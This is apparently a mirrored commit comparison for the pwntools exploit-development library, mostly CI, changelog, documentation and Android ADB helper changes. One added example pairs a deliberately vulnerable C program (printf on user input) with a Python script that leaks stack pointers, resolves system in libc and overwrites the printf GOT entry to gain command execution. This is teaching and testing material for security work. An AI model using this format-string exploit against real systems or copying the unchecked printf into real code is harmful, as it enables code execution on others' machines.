mirror of
https://github.com/Gallopsled/pwntools.git
synced 2026-11-08 08:06:05 -10:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f1624dc8ac | ||
|
|
a824e83bcb | ||
|
|
dff2e807cd | ||
|
|
b8ca473a39 | ||
|
|
09541e042b | ||
|
|
dd92ca6c61 | ||
|
|
5e279e7993 | ||
|
|
846f98294f | ||
|
|
78df70c986 | ||
|
|
b5de88e118 | ||
|
|
2e61a6be7f | ||
|
|
7647ea6ca9 | ||
|
|
21215ac22f | ||
|
|
3390eafab3 | ||
|
|
1cc5deca50 | ||
|
|
bae22da550 | ||
|
|
cc6d272760 | ||
|
|
6443d82835 | ||
|
|
8d0745628c | ||
|
|
fcfce6ca67 | ||
|
|
4c2fba6912 | ||
|
|
21c7864b79 | ||
|
|
8cd4d2b589 | ||
|
|
871afd1188 | ||
|
|
6c0017e617 | ||
|
|
0f2f91a29d | ||
|
|
aec8d9ea9f | ||
|
|
371ddc1f01 | ||
|
|
f5c4a069b6 | ||
|
|
441b0851c9 | ||
|
|
03a315ced3 | ||
|
|
e03e9d7c81 | ||
|
|
397d8c6edd | ||
|
|
ad0da0a675 | ||
|
|
25415453da | ||
|
|
3d835dfad2 | ||
|
|
5978c8c047 | ||
|
|
599ac6f9d6 | ||
|
|
bc9da1600c | ||
|
|
f26a0256dc | ||
|
|
3e71853f9f | ||
|
|
54514441aa | ||
|
|
2a7676cd5a | ||
|
|
94f71aafe5 | ||
|
|
3a83b2bdb2 | ||
|
|
2101f8d531 | ||
|
|
8699639148 | ||
|
|
aea0901ca4 | ||
|
|
b203745097 | ||
|
|
f834ce9582 | ||
|
|
d7e8b0210a | ||
|
|
4bd1aeff75 | ||
|
|
53cf93a004 | ||
|
|
eeb8d456f2 | ||
|
|
71e9c038f7 | ||
|
|
a951fbcdbe | ||
|
|
e42c244612 | ||
|
|
8f86dde4f8 | ||
|
|
16aa14968b | ||
|
|
2c97312399 | ||
|
|
fecf9f62a6 | ||
|
|
f0f0c364d3 | ||
|
|
c9dad72be4 | ||
|
|
d16370be3e | ||
|
|
5acabdd1a1 | ||
|
|
91d464b298 | ||
|
|
a7678f77a3 | ||
|
|
415f11bba7 | ||
|
|
9cefaccc10 | ||
|
|
5ddd0f4ba3 | ||
|
|
c5178460df | ||
|
|
7326452c69 | ||
|
|
c4b514f215 | ||
|
|
ed3c30aed3 | ||
|
|
f3b492db75 | ||
|
|
26598f3da6 | ||
|
|
586781bd46 | ||
|
|
8f941b8d71 | ||
|
|
42abafdd41 | ||
|
|
433d92619b | ||
|
|
9094db42af | ||
|
|
51fa401752 | ||
|
|
d80d3e08ef |
No files matched your search
@@ -1,6 +1,7 @@
|
||||
[run]
|
||||
branch = True
|
||||
parallel = True
|
||||
concurrency = thread,multiprocessing
|
||||
omit =
|
||||
*/constants/*
|
||||
source =
|
||||
|
||||
@@ -17,4 +17,13 @@ jobs:
|
||||
|
||||
- name: Check changelog for updates
|
||||
run: |
|
||||
git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md
|
||||
if git log --stat ${GITHUB_BASE}..HEAD | grep CHANGELOG.md; then
|
||||
echo 'Changelog updated :D'
|
||||
else
|
||||
if git log --stat ${GITHUB_BASE}..HEAD | grep '++\|--'; then
|
||||
echo 'Major changes detected, changelog required!'
|
||||
false
|
||||
else
|
||||
echo 'Minor changes detected, no changelog required!'
|
||||
fi
|
||||
fi
|
||||
@@ -2,7 +2,7 @@ name: Continuous Integration
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
test:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [2.7, 3.8]
|
||||
@@ -186,7 +186,7 @@ jobs:
|
||||
staging-merge:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.repository_owner == 'Gallopsled' && github.event_name == 'push' && startsWith(github.event.ref, 'refs/heads/') && endsWith(github.event.ref, '-staging')
|
||||
needs: build
|
||||
needs: test
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
@@ -203,7 +203,7 @@ jobs:
|
||||
pypi:
|
||||
runs-on: ubuntu-latest
|
||||
if: github.event_name == 'push' && startsWith(github.event.ref, 'refs/tags')
|
||||
needs: build
|
||||
needs: test
|
||||
steps:
|
||||
- name: Download artifacts
|
||||
uses: actions/download-artifact@v2
|
||||
|
||||
@@ -2,7 +2,7 @@ name: Lint
|
||||
on: [push, pull_request]
|
||||
|
||||
jobs:
|
||||
build:
|
||||
lint:
|
||||
strategy:
|
||||
matrix:
|
||||
python-version: [3.8]
|
||||
|
||||
@@ -0,0 +1,28 @@
|
||||
name: Check for merge markers
|
||||
on: [pull_request]
|
||||
env:
|
||||
GITHUB_BASE: origin/${{ github.event.pull_request.base.ref }}
|
||||
|
||||
jobs:
|
||||
mergecheck:
|
||||
strategy:
|
||||
matrix:
|
||||
os: [ubuntu-latest]
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 5
|
||||
steps:
|
||||
- uses: actions/checkout@v2
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Check for merge conflict markers commited
|
||||
run: |
|
||||
if git show ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+\+(>>>>>|=====|<<<<<)'; then
|
||||
echo 'WARNING: Merge marker commits found in history.'
|
||||
if git diff ${GITHUB_BASE}..HEAD | grep -EB15 --color=always '^\+(>>>>>|=====|<<<<<)'; then
|
||||
echo 'ERROR: Merge markers still present! Do something!'
|
||||
exit 1
|
||||
fi
|
||||
else
|
||||
echo 'Congrats! All the merges you did were clean or resolved correctly :)'
|
||||
fi
|
||||
@@ -16,3 +16,4 @@ venv
|
||||
*.egg-info
|
||||
*.core
|
||||
.coverage
|
||||
.coverage.*
|
||||
+51
-8
@@ -9,9 +9,15 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
|
||||
| Version | Branch | Release Date |
|
||||
| ---------------- | -------- | ---------------------- |
|
||||
| [4.3.0](#430) | `dev` | Jun 30, 2020 (planned)
|
||||
| [4.2.0](#420) | `beta` | Jun 5, 2020 (planned)
|
||||
| [4.1.1](#411) | `stable` | Jun 3, 2020
|
||||
| [4.4.0](#440) | `dev` | Sep 1, 2020 (planned)
|
||||
| [4.3.0](#430) | `beta` | Aug 1, 2020 (planned)
|
||||
| [4.2.0](#420) | `stable` | Jul 3, 2020 (planned)
|
||||
| [4.1.7](#417) | | Jun 30, 2020
|
||||
| [4.1.5](#415) | | Jun 27, 2020
|
||||
| [4.1.4](#414) | | Jun 26, 2020
|
||||
| [4.1.3](#413) | | Jun 23, 2020
|
||||
| [4.1.2](#412) | | Jun 5, 2020
|
||||
| [4.1.1](#411) | | Jun 3, 2020
|
||||
| [4.1.0](#410) | | May 8, 2020
|
||||
| [4.0.1](#401) | | Jan 22, 2020
|
||||
| [4.0.0](#400) | | Jan 09, 2020
|
||||
@@ -49,13 +55,44 @@ The table below shows which release corresponds to each branch, and what date th
|
||||
| [3.0.0](#300) | | Aug 20, 2016
|
||||
| [2.2.0](#220) | | Jan 5, 2015
|
||||
|
||||
## 4.3.0 (`dev`)
|
||||
## 4.4.0 (`dev`)
|
||||
|
||||
To be released on Jun 30, 2020.
|
||||
- [#1616][1616] Fix `cyclic` cli for 64 bit integers
|
||||
|
||||
## 4.2.0 (`beta`)
|
||||
[1616]: https://github.com/Gallopsled/pwntools/pull/1616
|
||||
|
||||
To be released on Jun 5, 2020.
|
||||
## 4.3.0 (`beta`)
|
||||
|
||||
- [#1576][1576] Add `executable=` argument to `ELF.search`
|
||||
- [#1584][1584] Add `jmp_esp`/`jmp_rsp` attribute to `ROP`
|
||||
- [#1592][1592] Fix over-verbose logging of process() environment
|
||||
- [#1593][1593] Colorize output of `pwn template`
|
||||
- [#1601][1601] Add `pwn version` command line tool
|
||||
- [#1605][1605] Add to `fiddling.hexdump` a way to suppress the total at the end
|
||||
- [#1613][1613] Permit `--password` for `pwn template`
|
||||
- [#1564][1564] Fix `asm()` and `disasm()` for PowerPC64, MIPS64, Sparc64
|
||||
- [#1621][1621] Permit negative values in flat() and fit()
|
||||
|
||||
[1576]: https://github.com/Gallopsled/pwntools/pull/1576
|
||||
[1584]: https://github.com/Gallopsled/pwntools/pull/1584
|
||||
[1592]: https://github.com/Gallopsled/pwntools/pull/1592
|
||||
[1593]: https://github.com/Gallopsled/pwntools/pull/1593
|
||||
[1601]: https://github.com/Gallopsled/pwntools/pull/1601
|
||||
[1605]: https://github.com/Gallopsled/pwntools/pull/1605
|
||||
[1613]: https://github.com/Gallopsled/pwntools/pull/1613
|
||||
[1564]: https://github.com/Gallopsled/pwntools/pull/1564
|
||||
[1621]: https://github.com/Gallopsled/pwntools/pull/1621
|
||||
|
||||
## 4.2.1 (`stable`)
|
||||
|
||||
- [#1625][1625] GDB now properly loads executables with QEMU
|
||||
- [#1663][1663] Change lookup algorithm of `adb.which`
|
||||
- [#1699][1699] Fix broken linux shellcraft templates
|
||||
|
||||
[1625]: https://github.com/Gallopsled/pwntools/pull/1625
|
||||
[1699]: https://github.com/Gallopsled/pwntools/pull/1699
|
||||
|
||||
## 4.2.0
|
||||
|
||||
- [#1436][1436] Add ret2dlresolve automation
|
||||
- [fecf9f] tubes.ssh.process() no longer requires python 2 installed on remote (still requires python, though)
|
||||
@@ -66,7 +103,13 @@ To be released on Jun 5, 2020.
|
||||
[fecf9f]: http://github.com/Gallopsled/pwntools/commit/fecf9f
|
||||
[1454]: https://github.com/Gallopsled/pwntools/pull/1454
|
||||
|
||||
## 4.1.5 (`stable`)
|
||||
## 4.1.7 (`stable`)
|
||||
|
||||
- [#1615][1615] Fix aarch64 pushstr and pushstr_array
|
||||
|
||||
[1615]: https://github.com/Gallopsled/pwntools/pull/1454
|
||||
|
||||
## 4.1.5
|
||||
|
||||
- [#1517][1517] flat(..., filler=) is fixed for `str` values and Python2 `bytes`
|
||||
|
||||
|
||||
@@ -40,7 +40,7 @@ Most of the functionality of pwntools is self-contained and Python-only. You sh
|
||||
apt-get update
|
||||
apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
|
||||
python3 -m pip install --upgrade pip
|
||||
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev3
|
||||
python3 -m pip install --upgrade git+https://github.com/Gallopsled/pwntools.git@dev
|
||||
```
|
||||
|
||||
However, some of the features (assembling/disassembling foreign architectures) require non-Python dependencies. For more information, see the [complete installation instructions here](https://docs.pwntools.com/en/stable/install.html).
|
||||
|
||||
@@ -88,6 +88,9 @@ class stdout(object):
|
||||
def __setattr__(self, name, value):
|
||||
return setattr(sys.stdout, name, value)
|
||||
pwnlib.context.ContextType.defaults['log_console'] = stdout()
|
||||
|
||||
github_actions = os.environ.get('USER') == 'runner'
|
||||
travis_ci = os.environ.get('USER') == 'travis'
|
||||
'''
|
||||
|
||||
autoclass_content = 'both'
|
||||
|
||||
+12
-13
@@ -5,21 +5,20 @@
|
||||
:mod:`pwnlib.encoders` --- Encoding Shellcode
|
||||
===============================================
|
||||
|
||||
.. automodule:: pwnlib.encoders
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.encoder
|
||||
:members:
|
||||
|
||||
|
||||
.. automodule:: pwnlib.encoders.amd64
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.arm
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386.xor
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.i386.delta
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.amd64.delta
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.arm.xor
|
||||
:members:
|
||||
|
||||
.. automodule:: pwnlib.encoders.mips.xor
|
||||
:members:
|
||||
@@ -0,0 +1,10 @@
|
||||
.. testsetup:: *
|
||||
|
||||
from pwn import *
|
||||
import tempfile
|
||||
|
||||
:mod:`pwnlib.rop.ret2dlresolve` --- Return to dl_resolve
|
||||
========================================================
|
||||
|
||||
.. automodule:: pwnlib.rop.ret2dlresolve
|
||||
:members:
|
||||
@@ -25,4 +25,4 @@ atexit.register(r.clean_and_log)
|
||||
|
||||
while True:
|
||||
line = r.recvline()
|
||||
print(re.findall('^prefix (\S+)$', line)[0])
|
||||
print(re.findall(r'^prefix (\S+)$', line)[0])
|
||||
@@ -1,9 +1,11 @@
|
||||
CFLAGS := -Wno-unused-result -Wno-format-security
|
||||
TARGETS := printf.mips printf.mips64 printf.mipsel printf.mips64el printf.arm printf.aarch64 \
|
||||
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32
|
||||
printf.ppc printf.ppc64 printf.sparc64 printf.native printf.native32 \
|
||||
printf-loop.native printf-loop.native32
|
||||
|
||||
.PHONY: run
|
||||
run: all
|
||||
./exploit2.py
|
||||
./exploit.py
|
||||
|
||||
.PHONY: all
|
||||
@@ -43,7 +45,7 @@ clean:
|
||||
%.native: %.c
|
||||
gcc $(CFLAGS) -o "$@" $^
|
||||
%.native32: %.c
|
||||
i686-linux-gnu-gcc $(CFLAGS) -o "$@" $^
|
||||
gcc $(CFLAGS) -m32 -o "$@" $^
|
||||
|
||||
# install deps on ubuntu xenial
|
||||
.PHONY: install-apt
|
||||
|
||||
@@ -1,4 +1,4 @@
|
||||
#!/usr/bin/env python2
|
||||
#!/usr/bin/env python
|
||||
from pwn import *
|
||||
|
||||
@context.quiet
|
||||
@@ -15,7 +15,7 @@ def exploit(binary):
|
||||
addr = unpack(p.recv(context.bytes))
|
||||
payload = fmtstr_payload(offset, {addr: p32(0x1337babe)})
|
||||
p.sendline(payload)
|
||||
p.recvuntil("DONE")
|
||||
p.recvuntil(b"DONE")
|
||||
print(hex(u32(p.recv(4))))
|
||||
|
||||
binaries = [
|
||||
|
||||
Executable
+68
@@ -0,0 +1,68 @@
|
||||
#!/usr/bin/env python
|
||||
"""
|
||||
An example combining fmtstr and dynelf to automatically exploit a PIE binary.
|
||||
"""
|
||||
|
||||
from pwn import *
|
||||
|
||||
def exploit(e):
|
||||
p = e.process()
|
||||
|
||||
def executer(fmt):
|
||||
p.sendline(fmt)
|
||||
p.stdin.flush()
|
||||
r = p.recvuntil(b'again=\n')
|
||||
return r
|
||||
f = FmtStr(executer)
|
||||
|
||||
# find some code pointer on stack
|
||||
addrbits = min(context.bits, 48) # address space is no larger than 48-bit
|
||||
min_code_ptr = 0x10 << addrbits-8
|
||||
max_code_ptr = 0x7e << addrbits-8
|
||||
for off in range(64):
|
||||
random_code_ptr = f.leak_stack(off)
|
||||
packed = bytearray(pack(random_code_ptr))
|
||||
chars = set(packed) - {0}
|
||||
# simple heuristic
|
||||
if (min_code_ptr < random_code_ptr < max_code_ptr
|
||||
and max(chars) > 0x80 and min(chars) < 0x80
|
||||
and not hex(random_code_ptr).startswith('0x7ff')):
|
||||
break
|
||||
|
||||
log.info("Code ptr: %#x"%random_code_ptr)
|
||||
|
||||
online_elf = DynELF(f.leaker, pointer=random_code_ptr, elf=e, libcdb=False)
|
||||
|
||||
print("Stack: %#x" % (online_elf.stack(),))
|
||||
print("Heap: %#x" % (online_elf.heap(),))
|
||||
|
||||
info("Finding base address of the executable")
|
||||
for ref in e.sym:
|
||||
if not ref:
|
||||
continue
|
||||
# if we have the address of a symbol on remote, we know the offset
|
||||
ref_addr = online_elf.lookup(ref)
|
||||
if ref_addr:
|
||||
print("%s: %r" % (ref, ref_addr))
|
||||
break
|
||||
|
||||
system = online_elf.lookup('system', 'libc')
|
||||
print("system: %#x" % system)
|
||||
|
||||
# fix up the address
|
||||
e.address += ref_addr - e.sym[ref]
|
||||
|
||||
# actual exploit: overwrite printf with system
|
||||
f.write(e.sym.got.printf, system)
|
||||
f.execute_writes()
|
||||
|
||||
p.sendline(b'echo ::$(( 16 * 16 ))')
|
||||
p.recvuntil(b'::')
|
||||
line = p.recvline()
|
||||
assert line == b'256\n'
|
||||
p.sendline(b'exit')
|
||||
p.close()
|
||||
|
||||
|
||||
for context.binary in 'printf-loop.native32', 'printf-loop.native':
|
||||
exploit(context.binary)
|
||||
@@ -0,0 +1,14 @@
|
||||
#include <stdio.h>
|
||||
#include <unistd.h>
|
||||
|
||||
int main() {
|
||||
while (1) {
|
||||
char str[256];
|
||||
int n = read(STDIN_FILENO, str, sizeof(str) - 1);
|
||||
str[n] = '\0';
|
||||
printf(str);
|
||||
printf("\n=try again=\n");
|
||||
fflush(stdout);
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -21,11 +21,11 @@ c2 = PathCompleter(mask = '*.py')
|
||||
with c1:
|
||||
print('type "exit" to exit')
|
||||
while True:
|
||||
s = term.readline.readline(prompt = '> ').strip()
|
||||
s = str_input(prompt = '> ').strip()
|
||||
if s in ('exit', 'enough!'):
|
||||
break
|
||||
print('You wrote', s)
|
||||
with c2:
|
||||
print('choose a file')
|
||||
s = term.readline.readline(prompt = text.bold_green('$ ')).strip()
|
||||
s = str_input(prompt = text.bold_green('$ ')).strip()
|
||||
print('You picked', s)
|
||||
@@ -3,11 +3,12 @@ context.arch='aarch64'
|
||||
frame = SigreturnFrame()
|
||||
|
||||
registers = ['x%i' % i for i in range(0, 31)]
|
||||
registers += ['sp', 'pc']
|
||||
registers += ['pc']
|
||||
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
setattr(frame, register, index)
|
||||
frame.sp = 64
|
||||
|
||||
assembly = '\n'.join([
|
||||
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
|
||||
@@ -23,8 +24,9 @@ assert io.poll() == -11
|
||||
|
||||
corefile = io.corefile
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
for register in registers:
|
||||
value = getattr(corefile, register)
|
||||
index = getattr(frame, register)
|
||||
if index != value:
|
||||
log.error("%s != %i (%i)" % (register, index, value))
|
||||
else:
|
||||
|
||||
@@ -4,11 +4,12 @@ context.arch='arm'
|
||||
frame = SigreturnFrame()
|
||||
|
||||
registers = ['r0', 'r1', 'r2', 'r3', 'r4', 'r5', 'r6', 'r7',
|
||||
'r8', 'r9', 'r10', 'fp', 'ip', 'sp', 'pc', 'lr']
|
||||
'r8', 'r9', 'r10', 'fp', 'ip', 'pc', 'lr']
|
||||
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
setattr(frame, register, index)
|
||||
frame.sp = 64
|
||||
|
||||
assembly = '\n'.join([
|
||||
shellcraft.read(constants.STDIN_FILENO, 'sp', 1024),
|
||||
@@ -24,8 +25,9 @@ assert io.poll() == -11
|
||||
|
||||
corefile = io.corefile
|
||||
|
||||
for index, register in enumerate(registers):
|
||||
for register in registers:
|
||||
value = getattr(corefile, register)
|
||||
index = getattr(frame, register)
|
||||
if index != value:
|
||||
log.error("%s != %i (%i)" % (register, index, value))
|
||||
else:
|
||||
|
||||
@@ -12,7 +12,7 @@ h = log.waitfor('spinners running', status = str(n))
|
||||
hs = []
|
||||
print('type "q" to quit')
|
||||
while True:
|
||||
s = raw_input('> ')
|
||||
s = str_input('> ').strip()
|
||||
if s == 'q':
|
||||
break
|
||||
hs.append(log.waitfor(s, status = 'running'))
|
||||
|
||||
+1
-1
@@ -9,5 +9,5 @@ splash()
|
||||
h = log.waitfor("You wrote", status = "--")
|
||||
|
||||
while True:
|
||||
l = raw_input('> ')
|
||||
l = str_input('> ').strip()
|
||||
h.status(l.upper())
|
||||
+3
-1
@@ -31,14 +31,16 @@ from pwnlib.exception import PwnlibException
|
||||
from pwnlib.gdb import attach, debug, debug_assembly, debug_shellcode
|
||||
from pwnlib.filepointer import *
|
||||
from pwnlib.flag import *
|
||||
from pwnlib.fmtstr import FmtStr, fmtstr_payload
|
||||
from pwnlib.fmtstr import FmtStr, fmtstr_payload, fmtstr_split
|
||||
from pwnlib.log import getLogger
|
||||
from pwnlib.memleak import MemLeak, RelativeMemLeak
|
||||
from pwnlib.regsort import *
|
||||
from pwnlib.replacements import *
|
||||
from pwnlib.rop import ROP
|
||||
from pwnlib.rop.srop import SigreturnFrame
|
||||
from pwnlib.rop.ret2dlresolve import Ret2dlresolvePayload
|
||||
from pwnlib.runner import *
|
||||
from pwnlib.term.readline import str_input
|
||||
from pwnlib.timeout import Timeout
|
||||
from pwnlib.tubes.listen import listen
|
||||
from pwnlib.tubes.process import process, PTY, PIPE, STDOUT
|
||||
|
||||
+102
-36
@@ -75,8 +75,10 @@ log = getLogger(__name__)
|
||||
def adb(argv, *a, **kw):
|
||||
r"""Returns the output of an ADB subcommand.
|
||||
|
||||
>>> adb.adb(['get-serialno'])
|
||||
>>> adb.adb('get-serialno')
|
||||
b'emulator-5554\n'
|
||||
>>> adb.adb(['shell', 'uname']) # it is better to use adb.process
|
||||
b'Linux\n'
|
||||
"""
|
||||
if isinstance(argv, (bytes, six.text_type)):
|
||||
argv = [argv]
|
||||
@@ -198,6 +200,10 @@ def uptime():
|
||||
|
||||
Returns:
|
||||
Uptime of the device, in seconds
|
||||
|
||||
Example:
|
||||
>>> adb.uptime() > 3 # normally AVD takes ~7 seconds to boot
|
||||
True
|
||||
"""
|
||||
up, idle = map(float, read('/proc/uptime').split())
|
||||
return up
|
||||
@@ -209,10 +215,15 @@ def boot_time():
|
||||
Returns:
|
||||
Boot time of the device, in Unix time, rounded to the
|
||||
nearest second.
|
||||
|
||||
Example:
|
||||
>>> import time
|
||||
>>> adb.boot_time() < time.time()
|
||||
True
|
||||
"""
|
||||
for line in read('/proc/stat').splitlines():
|
||||
name, value = line.split(None, 1)
|
||||
if name == 'btime':
|
||||
if name == b'btime':
|
||||
return int(value)
|
||||
|
||||
class AdbDevice(Device):
|
||||
@@ -662,9 +673,9 @@ def makedirs(path):
|
||||
|
||||
Examples:
|
||||
|
||||
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/heirarchy')
|
||||
>>> adb.makedirs('/data/local/tmp/this/is/a/directory/hierarchy')
|
||||
>>> adb.listdir('/data/local/tmp/this/is/a/directory')
|
||||
['heirarchy']
|
||||
['hierarchy']
|
||||
"""
|
||||
if path != '/':
|
||||
makedirs(os.path.dirname(path))
|
||||
@@ -816,17 +827,18 @@ def which(name, all = False, *a, **kw):
|
||||
"""
|
||||
# Unfortunately, there is no native 'which' on many phones.
|
||||
which_cmd = '''
|
||||
echo $PATH | while read -d: directory; do
|
||||
[ -x "$directory/{name}" ] || continue;
|
||||
echo -n "$directory/{name}\\x00";
|
||||
done
|
||||
(IFS=:
|
||||
for directory in $PATH; do
|
||||
[ -x "$directory/{name}" ] || continue;
|
||||
echo -n "$directory/{name}\\x00";
|
||||
done
|
||||
)
|
||||
[ -x "{name}" ] && echo -n "$PWD/{name}\\x00"
|
||||
'''.format(name=name)
|
||||
|
||||
which_cmd = which_cmd.strip()
|
||||
data = process(['sh','-c', which_cmd], *a, **kw).recvall()
|
||||
if not hasattr(data, 'encode'):
|
||||
data = data.decode('utf-8')
|
||||
data = context._decode(data)
|
||||
result = []
|
||||
|
||||
for path in data.split('\x00'):
|
||||
@@ -849,6 +861,12 @@ done
|
||||
|
||||
@with_device
|
||||
def whoami():
|
||||
"""Returns current shell user
|
||||
|
||||
Example:
|
||||
>>> adb.whoami()
|
||||
b'root'
|
||||
"""
|
||||
return process(['sh','-ic','echo $USER']).recvall().strip()
|
||||
|
||||
@with_device
|
||||
@@ -896,7 +914,12 @@ def pidof(name):
|
||||
|
||||
@with_device
|
||||
def proc_exe(pid):
|
||||
"""Returns the full path of the executable for the provided PID."""
|
||||
"""Returns the full path of the executable for the provided PID.
|
||||
|
||||
Example:
|
||||
>>> adb.proc_exe(1)
|
||||
b'/init'
|
||||
"""
|
||||
with context.quiet:
|
||||
io = process(['realpath','/proc/%d/exe' % pid])
|
||||
data = io.recvall().strip()
|
||||
@@ -912,24 +935,23 @@ def getprop(name=None):
|
||||
Returns:
|
||||
If ``name`` is not specified, a ``dict`` of all properties is returned.
|
||||
Otherwise, a string is returned with the contents of the named property.
|
||||
|
||||
Example:
|
||||
>>> adb.getprop() # doctest: +ELLIPSIS
|
||||
{...}
|
||||
"""
|
||||
with context.quiet:
|
||||
if name:
|
||||
result = process(['getprop', name]).recvall().strip()
|
||||
if not hasattr(result, 'encode'):
|
||||
result = result.decode('utf-8')
|
||||
result = context._decode(result)
|
||||
return result
|
||||
|
||||
|
||||
result = process(['getprop']).recvall()
|
||||
|
||||
if not hasattr(result, 'encode'):
|
||||
result = result.decode('utf-8')
|
||||
|
||||
result = context._decode(result)
|
||||
expr = r'\[([^\]]+)\]: \[(.*)\]'
|
||||
|
||||
props = {}
|
||||
|
||||
for line in result.splitlines():
|
||||
if not line.startswith('['):
|
||||
continue
|
||||
@@ -960,7 +982,7 @@ def listdir(directory='/'):
|
||||
Otherwise, less files may be returned due to restrictive SELinux
|
||||
policies on adbd.
|
||||
"""
|
||||
return list(sorted(AdbClient().list(directory)))
|
||||
return sorted(AdbClient().list(directory))
|
||||
|
||||
@with_device
|
||||
def fastboot(args, *a, **kw):
|
||||
@@ -1028,6 +1050,11 @@ class Kernel(object):
|
||||
|
||||
@property
|
||||
def address(self):
|
||||
"""Returns kernel address
|
||||
Example:
|
||||
>>> hex(adb.kernel.address) # doctest: +ELLIPSIS
|
||||
'0x...000'
|
||||
"""
|
||||
return self.symbols['_text']
|
||||
|
||||
@property
|
||||
@@ -1050,7 +1077,7 @@ class Kernel(object):
|
||||
self._kallsyms = {}
|
||||
root()
|
||||
write('/proc/sys/kernel/kptr_restrict', '1')
|
||||
self._kallsyms = read('/proc/kallsyms')
|
||||
self._kallsyms = read('/proc/kallsyms').decode('ascii')
|
||||
return self._kallsyms
|
||||
|
||||
@property
|
||||
@@ -1148,8 +1175,12 @@ class Property(object):
|
||||
setprop(attr, value)
|
||||
|
||||
def __eq__(self, other):
|
||||
# Allow simple comparison, e.g.:
|
||||
# adb.properties.ro.oem_unlock_supported == "1"
|
||||
"""Allow simple comparison
|
||||
|
||||
Example:
|
||||
>>> adb.properties.ro.build.version.sdk == "24"
|
||||
True
|
||||
"""
|
||||
if isinstance(other, six.string_types):
|
||||
return str(self) == other
|
||||
return super(Property, self).__eq__(other)
|
||||
@@ -1232,7 +1263,24 @@ def _generate_ndk_project(file_list, abi='arm-v7a', platform_version=21):
|
||||
return root
|
||||
|
||||
def compile(source):
|
||||
"""Compile a source file or project with the Android NDK."""
|
||||
r"""Compile a source file or project with the Android NDK.
|
||||
|
||||
Example:
|
||||
>>> temp = tempfile.mktemp('.c')
|
||||
>>> write(temp, '''
|
||||
... #include <stdio.h>
|
||||
... static char buf[4096];
|
||||
... int main() {
|
||||
... FILE *fp = fopen("/proc/self/maps", "r");
|
||||
... int n = fread(buf, 1, sizeof(buf), fp);
|
||||
... fwrite(buf, 1, n, stdout);
|
||||
... return 0;
|
||||
... }''')
|
||||
>>> filename = adb.compile(temp)
|
||||
>>> sent = adb.push(filename, "/data/local/tmp")
|
||||
>>> adb.process(sent).recvall() # doctest: +ELLIPSIS
|
||||
b'... /system/bin/linker\n...'
|
||||
"""
|
||||
|
||||
ndk_build = misc.which('ndk-build')
|
||||
if not ndk_build:
|
||||
@@ -1279,7 +1327,7 @@ def compile(source):
|
||||
result = io.recvall()
|
||||
|
||||
if 0 != io.poll():
|
||||
log.error("Build failed:\n%s" % result)
|
||||
log.error("Build failed:\n%s", result)
|
||||
|
||||
# Find all of the output files
|
||||
output = glob.glob(os.path.join(lib, '*', '*'))
|
||||
@@ -1329,36 +1377,57 @@ def find(top, name):
|
||||
|
||||
@with_device
|
||||
def readlink(path):
|
||||
path = process(['readlink', path]).recvall()
|
||||
path = process(['realpath', path]).recvall()
|
||||
|
||||
# Readlink will emit a single newline
|
||||
# We can't use the '-n' flag since old versions don't support it
|
||||
if path.endswith('\n'):
|
||||
if path.endswith(b'\n'):
|
||||
path = path[:-1]
|
||||
|
||||
return path
|
||||
return path.decode()
|
||||
|
||||
class Partitions(object):
|
||||
"""Enable access to partitions
|
||||
|
||||
Example:
|
||||
>>> hex(adb.partitions.vda.size) # doctest: +ELLIPSIS
|
||||
'0x...000'
|
||||
"""
|
||||
@property
|
||||
@context.quietfunc
|
||||
def by_name_dir(self):
|
||||
return next(find('/dev/block/platform','by-name'))
|
||||
try:
|
||||
return next(find('/dev/block/platform','by-name'))
|
||||
except StopIteration:
|
||||
return '/dev/block'
|
||||
|
||||
@context.quietfunc
|
||||
def __dir__(self):
|
||||
return list(self)
|
||||
|
||||
@context.quietfunc
|
||||
def iter_proc_partitions(self):
|
||||
for line in read('/proc/partitions').splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
major, minor, blocks, name = line.split(None, 4)
|
||||
yield blocks, name.decode()
|
||||
|
||||
@context.quietfunc
|
||||
@with_device
|
||||
def __iter__(self):
|
||||
root()
|
||||
|
||||
# Find all named partitions
|
||||
for name in listdir(self.by_name_dir):
|
||||
yield name
|
||||
names = set(listdir(self.by_name_dir))
|
||||
|
||||
# Find all unnamed partitions
|
||||
for _, name in self.iter_proc_partitions():
|
||||
names.add(name)
|
||||
return iter(names)
|
||||
|
||||
def __getattr__(self, attr):
|
||||
if name.startswith("_"):
|
||||
if attr.startswith("_"):
|
||||
raise AttributeError(attr)
|
||||
|
||||
for name in self:
|
||||
@@ -1375,11 +1444,8 @@ class Partitions(object):
|
||||
devname = os.path.basename(devpath)
|
||||
|
||||
# Get the size of the partition
|
||||
for line in read('/proc/partitions').splitlines():
|
||||
if not line.strip():
|
||||
continue
|
||||
major, minor, blocks, name = line.split(None, 4)
|
||||
if devname == name:
|
||||
for blocks, name in self.iter_proc_partitions():
|
||||
if name in (devname, attr):
|
||||
break
|
||||
